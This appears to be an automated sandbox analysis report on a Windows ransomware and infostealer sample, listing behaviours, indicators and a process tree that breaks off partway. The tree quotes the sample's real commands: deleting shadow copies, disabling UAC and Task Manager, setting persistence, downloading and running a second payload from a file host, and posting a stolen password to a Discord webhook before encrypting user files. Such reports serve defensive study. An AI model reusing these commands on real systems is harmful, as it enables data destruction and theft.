9e4f1334d3712298cb3d18e38cd954c893c890d09ad457683c8d7956a9bdb635

Analysis

max time kernel
125s
max time network
94s
platform
windows7_x64
resource
win7v20201028
submitted
18/02/2021, 08:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RenderGraphics.bin.exe
Size

1006KB
MD5

46a1769d81d7dcda455f0f05b9b29648
SHA1

4d56dffea9d04ee8ed174f1b3328675daf4be7b1
SHA256

9e4f1334d3712298cb3d18e38cd954c893c890d09ad457683c8d7956a9bdb635
SHA512

8c8ed91b996f84807be1337fe770db4eadd0a7da00fe0545f6de86bd577054dc9a3df22cd81e25ffb4f1ea3e7642409ff9e01a57c582abb099719b069c9fc193

Score

10^/10

evasion ransomware spyware trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn-35.anonfiles.com/9821W1G5p3/8a0b1f8a-1613613819/gameover.exe

Signatures

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	1036	powershell.exe
11	1668	powershell.exe

Disables Task Manager via registry modification
evasion

Executes dropped EXE 64 IoCs

pid	Process
1448	DiscordSendWebhook.exe
936	extd.exe
224	DiscordSendWebhook.exe
1652	aescrypt.exe
1732	aescrypt.exe
2004	aescrypt.exe
936	aescrypt.exe
1320	aescrypt.exe
2008	aescrypt.exe
1868	aescrypt.exe
1616	aescrypt.exe
1832	aescrypt.exe
616	aescrypt.exe
1056	aescrypt.exe
680	aescrypt.exe
1604	aescrypt.exe
740	aescrypt.exe
1344	aescrypt.exe
1500	aescrypt.exe
1396	aescrypt.exe
1380	aescrypt.exe
2032	aescrypt.exe
1496	aescrypt.exe
520	aescrypt.exe
1036	aescrypt.exe
2016	aescrypt.exe
1344	aescrypt.exe
316	aescrypt.exe
204	aescrypt.exe
1860	aescrypt.exe
1840	aescrypt.exe
1512	aescrypt.exe
1884	aescrypt.exe
1576	aescrypt.exe
1056	aescrypt.exe
1876	aescrypt.exe
224	aescrypt.exe
916	aescrypt.exe
1044	aescrypt.exe
956	aescrypt.exe
2000	aescrypt.exe
620	aescrypt.exe
220	aescrypt.exe
1352	aescrypt.exe
1620	aescrypt.exe
1652	aescrypt.exe
680	aescrypt.exe
1732	aescrypt.exe
520	aescrypt.exe
816	aescrypt.exe
1604	aescrypt.exe
1344	aescrypt.exe
1616	aescrypt.exe
2028	aescrypt.exe
956	aescrypt.exe
2000	aescrypt.exe
1032	aescrypt.exe
1916	aescrypt.exe
1120	aescrypt.exe
908	aescrypt.exe
1672	aescrypt.exe
940	aescrypt.exe
2004	aescrypt.exe
1036	aescrypt.exe

Modifies extensions of user files 24 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File created	C:\Users\Admin\Pictures\WatchHide.tif.lck	aescrypt.exe
File created	C:\Users\Admin\Pictures\ReadRegister.tiff.lck	aescrypt.exe
File opened for modification	C:\Users\Admin\Pictures\ReadRegister.tiff.lck	attrib.exe
File created	C:\Users\Admin\Pictures\GrantFind.png.lck	aescrypt.exe
File created	C:\Users\Admin\Pictures\RepairSearch.crw.lck	aescrypt.exe
File opened for modification	C:\Users\Admin\Pictures\RepairSearch.crw.lck	attrib.exe
File opened for modification	C:\Users\Admin\Pictures\GetFind.png.lck	attrib.exe
File opened for modification	C:\Users\Admin\Pictures\TraceStop.raw.lck	attrib.exe
File opened for modification	C:\Users\Admin\Pictures\WatchHide.tif.lck	attrib.exe
File opened for modification	C:\Users\Admin\Pictures\SwitchRestart.tif.lck	attrib.exe
File created	C:\Users\Admin\Pictures\OutInitialize.crw.lck	aescrypt.exe
File created	C:\Users\Admin\Pictures\RenameTest.raw.lck	aescrypt.exe
File opened for modification	C:\Users\Admin\Pictures\SyncOpen.png.lck	attrib.exe
File created	C:\Users\Admin\Pictures\SwitchRestart.tif.lck	aescrypt.exe
File created	C:\Users\Admin\Pictures\ResumeSync.crw.lck	aescrypt.exe
File opened for modification	C:\Users\Admin\Pictures\ResumeSync.crw.lck	attrib.exe
File created	C:\Users\Admin\Pictures\GetFind.png.lck	aescrypt.exe
File opened for modification	C:\Users\Admin\Pictures\RenameTest.raw.lck	attrib.exe
File created	C:\Users\Admin\Pictures\SyncOpen.png.lck	aescrypt.exe
File created	C:\Users\Admin\Pictures\TraceStop.raw.lck	aescrypt.exe
File opened for modification	C:\Users\Admin\Pictures\OutInitialize.crw.lck	attrib.exe
File created	C:\Users\Admin\Pictures\InitializeConvert.tiff.lck	aescrypt.exe
File opened for modification	C:\Users\Admin\Pictures\InitializeConvert.tiff.lck	attrib.exe
File opened for modification	C:\Users\Admin\Pictures\GrantFind.png.lck	attrib.exe

Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00030000000130f3-63.dat	upx
behavioral1/files/0x00030000000130f3-65.dat	upx

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RenderGraphics.bin.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RenderGraphics.bin.exe	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
740	schtasks.exe
1032	schtasks.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
684	vssadmin.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2016	taskkill.exe
560	taskkill.exe
680	taskkill.exe
1732	taskkill.exe

Modifies Control Panel 2 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Control Panel\Mouse\SwapMouseButtons = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Control Panel\Mouse	reg.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\MuiCache	rundll32.exe

Opens file in notepad (likely ransom note) 4 IoCs

ransomware

pid	Process
560	NOTEPAD.EXE
820	NOTEPAD.EXE
1632	NOTEPAD.EXE
224	NOTEPAD.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: CmdExeWriteProcessMemorySpam 64 IoCs

pid	Process
1448	DiscordSendWebhook.exe
936	extd.exe
224	DiscordSendWebhook.exe
1652	aescrypt.exe
1732	aescrypt.exe
2004	aescrypt.exe
936	aescrypt.exe
1320	aescrypt.exe
2008	aescrypt.exe
1868	aescrypt.exe
1616	aescrypt.exe
1832	aescrypt.exe
616	aescrypt.exe
1056	aescrypt.exe
680	aescrypt.exe
1604	aescrypt.exe
740	aescrypt.exe
1344	aescrypt.exe
1500	aescrypt.exe
1396	aescrypt.exe
1380	aescrypt.exe
2032	aescrypt.exe
1496	aescrypt.exe
520	aescrypt.exe
1036	aescrypt.exe
2016	aescrypt.exe
1344	aescrypt.exe
316	aescrypt.exe
204	aescrypt.exe
1860	aescrypt.exe
1840	aescrypt.exe
1512	aescrypt.exe
1884	aescrypt.exe
1576	aescrypt.exe
1056	aescrypt.exe
1876	aescrypt.exe
224	aescrypt.exe
916	aescrypt.exe
1044	aescrypt.exe
956	aescrypt.exe
2000	aescrypt.exe
620	aescrypt.exe
220	aescrypt.exe
1352	aescrypt.exe
1620	aescrypt.exe
1652	aescrypt.exe
680	aescrypt.exe
1732	aescrypt.exe
520	aescrypt.exe
816	aescrypt.exe
1604	aescrypt.exe
1344	aescrypt.exe
1616	aescrypt.exe
2028	aescrypt.exe
956	aescrypt.exe
2000	aescrypt.exe
1032	aescrypt.exe
1916	aescrypt.exe
1120	aescrypt.exe
908	aescrypt.exe
1672	aescrypt.exe
940	aescrypt.exe
2004	aescrypt.exe
1036	aescrypt.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1120	powershell.exe
1120	powershell.exe
1036	powershell.exe
1036	powershell.exe
1668	powershell.exe
1668	powershell.exe
616	powershell.exe
616	powershell.exe
1500	powershell.exe
1500	powershell.exe
960	powershell.exe
960	powershell.exe
740	powershell.exe
740	powershell.exe
1120	powershell.exe
1120	powershell.exe
1036	powershell.exe
1036	powershell.exe
1868	powershell.exe
1868	powershell.exe
960	powershell.exe
960	powershell.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1560	WMIC.exe
Token: SeSecurityPrivilege	1560	WMIC.exe
Token: SeTakeOwnershipPrivilege	1560	WMIC.exe
Token: SeLoadDriverPrivilege	1560	WMIC.exe
Token: SeSystemProfilePrivilege	1560	WMIC.exe
Token: SeSystemtimePrivilege	1560	WMIC.exe
Token: SeProfSingleProcessPrivilege	1560	WMIC.exe
Token: SeIncBasePriorityPrivilege	1560	WMIC.exe
Token: SeCreatePagefilePrivilege	1560	WMIC.exe
Token: SeBackupPrivilege	1560	WMIC.exe
Token: SeRestorePrivilege	1560	WMIC.exe
Token: SeShutdownPrivilege	1560	WMIC.exe
Token: SeDebugPrivilege	1560	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1560	WMIC.exe
Token: SeRemoteShutdownPrivilege	1560	WMIC.exe
Token: SeUndockPrivilege	1560	WMIC.exe
Token: SeManageVolumePrivilege	1560	WMIC.exe
Token: 33	1560	WMIC.exe
Token: 34	1560	WMIC.exe
Token: 35	1560	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1560	WMIC.exe
Token: SeSecurityPrivilege	1560	WMIC.exe
Token: SeTakeOwnershipPrivilege	1560	WMIC.exe
Token: SeLoadDriverPrivilege	1560	WMIC.exe
Token: SeSystemProfilePrivilege	1560	WMIC.exe
Token: SeSystemtimePrivilege	1560	WMIC.exe
Token: SeProfSingleProcessPrivilege	1560	WMIC.exe
Token: SeIncBasePriorityPrivilege	1560	WMIC.exe
Token: SeCreatePagefilePrivilege	1560	WMIC.exe
Token: SeBackupPrivilege	1560	WMIC.exe
Token: SeRestorePrivilege	1560	WMIC.exe
Token: SeShutdownPrivilege	1560	WMIC.exe
Token: SeDebugPrivilege	1560	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1560	WMIC.exe
Token: SeRemoteShutdownPrivilege	1560	WMIC.exe
Token: SeUndockPrivilege	1560	WMIC.exe
Token: SeManageVolumePrivilege	1560	WMIC.exe
Token: 33	1560	WMIC.exe
Token: 34	1560	WMIC.exe
Token: 35	1560	WMIC.exe
Token: SeBackupPrivilege	1164	vssvc.exe
Token: SeRestorePrivilege	1164	vssvc.exe
Token: SeAuditPrivilege	1164	vssvc.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	2016	taskkill.exe
Token: SeDebugPrivilege	560	taskkill.exe
Token: SeDebugPrivilege	680	taskkill.exe
Token: SeDebugPrivilege	1732	taskkill.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	616	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	960	powershell.exe
Token: SeDebugPrivilege	740	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	960	powershell.exe
Token: SeRestorePrivilege	1100	7zG.exe
Token: 35	1100	7zG.exe
Token: SeSecurityPrivilege	1100	7zG.exe
Token: SeSecurityPrivilege	1100	7zG.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
1448	DiscordSendWebhook.exe
1448	DiscordSendWebhook.exe
1448	DiscordSendWebhook.exe
1448	DiscordSendWebhook.exe
224	DiscordSendWebhook.exe
224	DiscordSendWebhook.exe
224	DiscordSendWebhook.exe
1100	7zG.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
1448	DiscordSendWebhook.exe
1448	DiscordSendWebhook.exe
1448	DiscordSendWebhook.exe
1448	DiscordSendWebhook.exe
224	DiscordSendWebhook.exe
224	DiscordSendWebhook.exe
224	DiscordSendWebhook.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1864 wrote to memory of 1340	1864	RenderGraphics.bin.exe	26
PID 1864 wrote to memory of 1340	1864	RenderGraphics.bin.exe	26
PID 1864 wrote to memory of 1340	1864	RenderGraphics.bin.exe	26
PID 1864 wrote to memory of 1340	1864	RenderGraphics.bin.exe	26
PID 1340 wrote to memory of 1560	1340	cmd.exe	28
PID 1340 wrote to memory of 1560	1340	cmd.exe	28
PID 1340 wrote to memory of 1560	1340	cmd.exe	28
PID 1340 wrote to memory of 684	1340	cmd.exe	35
PID 1340 wrote to memory of 684	1340	cmd.exe	35
PID 1340 wrote to memory of 684	1340	cmd.exe	35
PID 1340 wrote to memory of 1172	1340	cmd.exe	36
PID 1340 wrote to memory of 1172	1340	cmd.exe	36
PID 1340 wrote to memory of 1172	1340	cmd.exe	36
PID 1340 wrote to memory of 1840	1340	cmd.exe	37
PID 1340 wrote to memory of 1840	1340	cmd.exe	37
PID 1340 wrote to memory of 1840	1340	cmd.exe	37
PID 1340 wrote to memory of 1984	1340	cmd.exe	38
PID 1340 wrote to memory of 1984	1340	cmd.exe	38
PID 1340 wrote to memory of 1984	1340	cmd.exe	38
PID 1340 wrote to memory of 1732	1340	cmd.exe	39
PID 1340 wrote to memory of 1732	1340	cmd.exe	39
PID 1340 wrote to memory of 1732	1340	cmd.exe	39
PID 1340 wrote to memory of 1860	1340	cmd.exe	40
PID 1340 wrote to memory of 1860	1340	cmd.exe	40
PID 1340 wrote to memory of 1860	1340	cmd.exe	40
PID 1340 wrote to memory of 1832	1340	cmd.exe	41
PID 1340 wrote to memory of 1832	1340	cmd.exe	41
PID 1340 wrote to memory of 1832	1340	cmd.exe	41
PID 1340 wrote to memory of 1028	1340	cmd.exe	42
PID 1340 wrote to memory of 1028	1340	cmd.exe	42
PID 1340 wrote to memory of 1028	1340	cmd.exe	42
PID 1340 wrote to memory of 1036	1340	cmd.exe	43
PID 1340 wrote to memory of 1036	1340	cmd.exe	43
PID 1340 wrote to memory of 1036	1340	cmd.exe	43
PID 1340 wrote to memory of 1272	1340	cmd.exe	44
PID 1340 wrote to memory of 1272	1340	cmd.exe	44
PID 1340 wrote to memory of 1272	1340	cmd.exe	44
PID 1340 wrote to memory of 1448	1340	cmd.exe	45
PID 1340 wrote to memory of 1448	1340	cmd.exe	45
PID 1340 wrote to memory of 1448	1340	cmd.exe	45
PID 1340 wrote to memory of 1448	1340	cmd.exe	45
PID 1340 wrote to memory of 1120	1340	cmd.exe	46
PID 1340 wrote to memory of 1120	1340	cmd.exe	46
PID 1340 wrote to memory of 1120	1340	cmd.exe	46
PID 1340 wrote to memory of 2016	1340	cmd.exe	47
PID 1340 wrote to memory of 2016	1340	cmd.exe	47
PID 1340 wrote to memory of 2016	1340	cmd.exe	47
PID 1340 wrote to memory of 560	1340	cmd.exe	48
PID 1340 wrote to memory of 560	1340	cmd.exe	48
PID 1340 wrote to memory of 560	1340	cmd.exe	48
PID 1340 wrote to memory of 680	1340	cmd.exe	49
PID 1340 wrote to memory of 680	1340	cmd.exe	49
PID 1340 wrote to memory of 680	1340	cmd.exe	49
PID 1340 wrote to memory of 1732	1340	cmd.exe	50
PID 1340 wrote to memory of 1732	1340	cmd.exe	50
PID 1340 wrote to memory of 1732	1340	cmd.exe	50
PID 1340 wrote to memory of 1032	1340	cmd.exe	51
PID 1340 wrote to memory of 1032	1340	cmd.exe	51
PID 1340 wrote to memory of 1032	1340	cmd.exe	51
PID 1340 wrote to memory of 1036	1340	cmd.exe	52
PID 1340 wrote to memory of 1036	1340	cmd.exe	52
PID 1340 wrote to memory of 1036	1340	cmd.exe	52
PID 1340 wrote to memory of 1668	1340	cmd.exe	53
PID 1340 wrote to memory of 1668	1340	cmd.exe	53

Views/modifies file attributes 1 TTPs 64 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1924	attrib.exe
1884	attrib.exe
208	attrib.exe
1352	attrib.exe
1348	attrib.exe
1120	attrib.exe
1320	attrib.exe
1616	attrib.exe
1512	attrib.exe
1860	attrib.exe
1840	attrib.exe
1328	attrib.exe
1576	attrib.exe
1840	attrib.exe
940	attrib.exe
1996	attrib.exe
1576	attrib.exe
680	attrib.exe
1448	attrib.exe
1328	attrib.exe
204	attrib.exe
1036	attrib.exe
2016	attrib.exe
1028	attrib.exe
1056	attrib.exe
544	attrib.exe
1512	attrib.exe
816	attrib.exe
1672	attrib.exe
1604	attrib.exe
1668	attrib.exe
208	attrib.exe
1840	attrib.exe
236	attrib.exe
1272	attrib.exe
620	attrib.exe
816	attrib.exe
916	attrib.exe
1860	attrib.exe
960	attrib.exe
1840	attrib.exe
1840	attrib.exe
1500	attrib.exe
936	attrib.exe
908	attrib.exe
1320	attrib.exe
1344	attrib.exe
220	attrib.exe
1620	attrib.exe
1036	attrib.exe
940	attrib.exe
224	attrib.exe
2028	attrib.exe
204	attrib.exe
544	attrib.exe
1876	attrib.exe
224	attrib.exe
1672	attrib.exe
2028	attrib.exe
1056	attrib.exe
740	attrib.exe
1120	attrib.exe
916	attrib.exe
1352	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RenderGraphics.bin.exe
"C:\Users\Admin\AppData\Local\Temp\RenderGraphics.bin.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\50B0.tmp\50C1.bat C:\Users\Admin\AppData\Local\Temp\RenderGraphics.bin.exe"
  2⤵
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1560
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:684
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
    3⤵
    PID:1172
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
    3⤵
    PID:1840
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "1" /f
    3⤵
    PID:1984
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
    3⤵
    PID:1732
- - C:\Windows\system32\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
    3⤵
    PID:1860
- - C:\Windows\system32\reg.exe
    REG ADD "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d "1" /f
    3⤵
    - Modifies Control Panel
    PID:1832
- - C:\Windows\system32\attrib.exe
    attrib +r +s +h C:\Users\Admin\AppData\Local\Temp\RenderGraphics.bin.exe
    3⤵
    PID:1028
- - C:\Windows\system32\attrib.exe
    attrib +r +s +h "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe"
    3⤵
    - Views/modifies file attributes
    PID:1036
- - C:\Windows\system32\attrib.exe
    attrib +r +s +h "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\DiscordSendWebhook.exe"
    3⤵
    - Views/modifies file attributes
    PID:1272
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\DiscordSendWebhook.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\DiscordSendWebhook" -m ":writing_hand: LEAKGAP: Crypting Files..." -w https://discord.com/api/webhooks/807704589436452915/jhcjthfZ4SBzzZNBbqZ9xII5kv9CycOOacxLmktf6BQQn-FYteG1I-Ntg02B-4UphE4K
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start -verb runas cmd.exe -ArgumentList "/c kill.bat" -filepath "C:\Users\Admin\AppData\Local\Temp" -WindowStyle hidden
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1120
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:560
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:680
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im iexplore.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1732
- - C:\Windows\system32\schtasks.exe
    schtasks /create /sc onlogon /tn UpdateWuauclt /rl highest /tr "C:\Users\Admin\AppData\Local\Temp\RenderGraphics.bin.exe" /RU "SYSTEM" /f
    3⤵
    - Creates scheduled task(s)
    PID:1032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c (new-object System.Net.WebClient).DownloadFile('https://cdn-35.anonfiles.com/9821W1G5p3/8a0b1f8a-1613613819/gameover.exe','C:\Users\Admin\AppData\Local\Temp\final.exe')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c Invoke-WebRequest -Uri https://cdn-35.anonfiles.com/9821W1G5p3/8a0b1f8a-1613613819/gameover.exe -OutFile C:\Users\Admin\AppData\Local\Temp\final.exe
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1668
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f https://cdn-35.anonfiles.com/9821W1G5p3/8a0b1f8a-1613613819/gameover.exe C:\Users\Admin\AppData\Local\Temp\final.exe
    3⤵
    PID:680
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\50B0.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\50AF.tmp\50B0.tmp\extd.exe "/download" "https://cdn-35.anonfiles.com/9821W1G5p3/8a0b1f8a-1613613819/gameover.exe" "C:\Users\Admin\AppData\Local\Temp\final.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:936
- - C:\Windows\system32\schtasks.exe
    schtasks /create /sc DAILY /tn UpdateWuaucltHelper /rl highest /tr "C:\Users\Admin\AppData\Local\Temp\final.exe" /RU "SYSTEM" /MO 5
    3⤵
    - Creates scheduled task(s)
    PID:740
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\DiscordSendWebhook.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\DiscordSendWebhook" -m ":satellite: LEAKGAP: Info from Admin, Password: kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh, FakeAccount: BUqT8JXD7pI90Dz17V9SNhEUk8qVQ8khPH2rP, PersonalKey:||RSLgNRKl0oUE979LWZaRUh4MpMfNOD6SN4l0sOa||" -w https://discord.com/api/webhooks/807704589436452915/jhcjthfZ4SBzzZNBbqZ9xII5kv9CycOOacxLmktf6BQQn-FYteG1I-Ntg02B-4UphE4K
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-process -verb runas -FilePath "C:\Users\Admin\AppData\Local\Temp\final.exe" -WindowStyle hidden
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:616
- - C:\Windows\system32\attrib.exe
    attrib +r +s +h C:\Users\Admin\AppData\Local\Temp /s /D
    3⤵
    PID:960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1300
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1652
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    PID:1072
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ReadRequest.midi.lck" "ReadRequest.midi"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1732
- - C:\Windows\system32\attrib.exe
    attrib +r "ReadRequest.midi.lck"
    3⤵
    - Views/modifies file attributes
    PID:1448
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "WatchStop.ps1.lck" "WatchStop.ps1"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2004
- - C:\Windows\system32\attrib.exe
    attrib +r "WatchStop.ps1.lck"
    3⤵
    - Views/modifies file attributes
    PID:816
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConvertFind.mpg.lck" "ConvertFind.mpg"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:936
- - C:\Windows\system32\attrib.exe
    attrib +r "ConvertFind.mpg.lck"
    3⤵
    - Views/modifies file attributes
    PID:2016
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RepairBackup.dib.lck" "RepairBackup.dib"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1320
- - C:\Windows\system32\attrib.exe
    attrib +r "RepairBackup.dib.lck"
    3⤵
    PID:1020
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "CompressSuspend.MOD.lck" "CompressSuspend.MOD"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2008
- - C:\Windows\system32\attrib.exe
    attrib +r "CompressSuspend.MOD.lck"
    3⤵
    PID:1984
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "HideRepair.vsdx.lck" "HideRepair.vsdx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1868
- - C:\Windows\system32\attrib.exe
    attrib +r "HideRepair.vsdx.lck"
    3⤵
    PID:1408
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
